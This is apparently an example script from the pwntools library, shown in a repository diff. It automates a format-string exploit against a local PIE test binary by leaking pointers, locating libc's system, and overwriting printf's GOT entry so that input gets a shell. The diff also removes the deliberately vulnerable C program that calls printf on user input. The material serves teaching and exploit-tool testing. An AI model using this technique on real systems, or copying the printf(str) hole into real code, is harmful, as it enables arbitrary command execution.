#!/usr/bin/env python
"""
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
"""
from pwn import *
def exploit(e):
p = e.process()
def executer(fmt):
p.sendline(fmt)
p.stdin.flush()
r = p.recvuntil(b'again=\n')
return r
f = FmtStr(executer)
# find some code pointer on stack
addrbits = min(context.bits, 48) # address space is no larger than 48-bit
min_code_ptr = 0x10 << addrbits-8
max_code_ptr = 0x7e << addrbits-8
for off in range(64):
random_code_ptr = f.leak_stack(off)
packed = bytearray(pack(random_code_ptr))
chars = set(packed) - {0}
# simple heuristic
if (min_code_ptr < random_code_ptr < max_code_ptr
and max(chars) > 0x80 and min(chars) < 0x80
and not hex(random_code_ptr).startswith('0x7ff')):
break
log.info("Code ptr: %#x"%random_code_ptr)
online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
print("Stack: %#x" % (online_elf.stack(),))
print("Heap: %#x" % (online_elf.heap(),))
info("Finding base address of the executable")
for ref in e.sym:
if not ref:
continue
# if we have the address of a symbol on remote, we know the offset
ref_addr = online_elf.lookup(ref)
if ref_addr:
print("%s: %r" % (ref, ref_addr))
break
system = online_elf.lookup('system', 'libc')
print("system: %#x" % system)
# fix up the address
e.address += ref_addr - e.sym[ref]
# actual exploit: overwrite printf with system
f.write(e.sym.got.printf, system)
f.execute_writes()
p.sendline(b'echo ::$(( 16 * 16 ))')
p.recvuntil(b'::')
line = p.recvline()
assert line == b'256\n'
p.sendline(b'exit')
p.close()
for context.binary in 'printf-loop.native32', 'printf-loop.native':
exploit(context.binary)
-14
View File
@@ -1,14 +0,0 @@
#include <stdio.h>
#include <unistd.h>
int main() {
while (1) {
char str[256];
int n = read(STDIN_FILENO, str, sizeof(str) - 1);
str[n] = '\0';
printf(str);
printf("\n=try again=\n");
fflush(stdout);
}
return 0;
}
Binary file not shown.
Loaded 100 of 4175 files, more files were not shown because too many files have changed in this diff. Show more